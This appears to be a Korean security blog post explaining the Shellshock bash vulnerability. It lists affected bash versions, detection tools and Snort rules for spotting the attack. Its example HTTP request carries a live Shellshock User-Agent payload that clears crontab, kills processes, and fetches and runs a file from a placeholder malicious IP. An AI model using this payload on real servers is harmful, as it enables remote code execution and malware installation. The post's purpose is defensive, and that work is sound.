starting point
Shellshock 취약점 본문
정의
- 웹쉘 취약점으로 웹(tcp/80, tcp/443)을 통해 웹서버의 쉘에 접근할 수 있는 취약점
웹쉘
쉘(Shell)이란 운영체제의 커널과 사용자 사이의 인터페이스로 서버에 설정을 변경할 때 사용됨.
웹쉘이란 일반적인 웹을 통해 쉘에 접근하는 공격
웹을 통해 접근하므로 통신 포트는 tcp/80, tcp/443인 것이 일반적이다
웹 통신 포트를 이용한다는 점으로 인해 정상 트래픽과 구분하기 어렵다는 특징이 있다.(스텔스)
패킷 예시
GET /phppath/php.cgi HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: () { :;};/user/bin/perl -e 'print "Content-type:text/plain\r\n\r\nXSUCCESS!";
system("crontab -r ; kill -9 -1 ; cd /var/tmp/ ; /usr/bin/wget http://악성IP/404 ;
/usr/bin/perl 404 ; lwp-download http://악성IP/404 ; fetch http://악성IP/404 ;
curl -O http://악성iP/404 ; /usr/bin/perl 404 ; cd /var/tmp/ ; rm -rf 404*");'
Host: IP
Connection: Close
취약버전
bash-4.2.45-5.el7_0.2, bash-4.1.2-15.el6_5.1, bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1, bash-4.1.2-15.el6_4.1, bash-3.2-33.el5.1
bash-3.2-33.el5_11.1.sjis.1, bash-3.2-24.el5_6.1, bash-3.2-32.el5_9.2
bash-3.0-27.el4.2
공격목적
최근 보안뉴스에 따르면 다양한 해커그룹들이 초기 내부 서버에 접근 후에 추가적인 악성 행위를 할 때 웹쉘을 많이 사용한다고 한다. 일반적인 웹 포트를 사용하여 정상 트래픽과 구분이 어렵다는 점을 이용한다. 이러한 웹쉘을 통해 백도어, 추가적인 횡이동에 사용되는 것으로 보인다.
대응방안
서버 무결성 확인을 위한 도구인 Tripwire, AIDE, Osquery, OpenSCAP 등의 툴을 이용한다. 이를 통해 서버 내 파일, 디렉토리의 변경을 추적
스노트 룰 적용
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"8. Remote Execution Shellshock Header"; priority:1; flow:established,to_server; content:"|28 29 20 7b|"; http_header; sid:3000081; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"8. Remote Execution Shellshock URI"; priority:1; flow:established,to_server; content:"|28 29 20 7b|"; http_uri; pcre:"/[=?&\x2f]\s*?\x28\x29\x20\x7b/U"; sid:3000082; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"8. Remote Execution Shellshock"; priority:1; flow:established,to_server; content:"HTTP/1."; pcre:"/^[^\r\n]*?HTTP\/1(?:(?!\r?\n\r?\n)[\x20-\x7e\s]){1,500}\n[\x20-\x7e]{1,100}\x3a[\x20-\x7e]{0,500}\x28\x29\x20\x7b/s"; content:"|28 29 20 7b|"; fast_pattern:only; sid:3000083; rev:1;)
출처 - https://net123.tistory.com/593
==============
shellshock의 동작방식 스노트 룰은 다른 블로그 참고, 실제 검증 X 등 현재 패킷 분석에 한계가 있습니다. shellshock 동작방식은 추후 추가 예정이며 스노트 룰 및 검증 환경을 구축하여 더욱 효과적인 패킷을 수행해볼 계획이다.
'네트워크 > 패킷 분석' 카테고리의 다른 글
Fortigate 인증 우회 취약점(CVE-2022-40684) (0) | 2023.12.01 |
---|---|
RDP 터널링 공격(Bypassing Network Restrictions Through RDP Tunneling) (2) | 2023.11.22 |
Open SSL 취약점(Heartbleed, CVE-2014-0160) (2) | 2023.11.18 |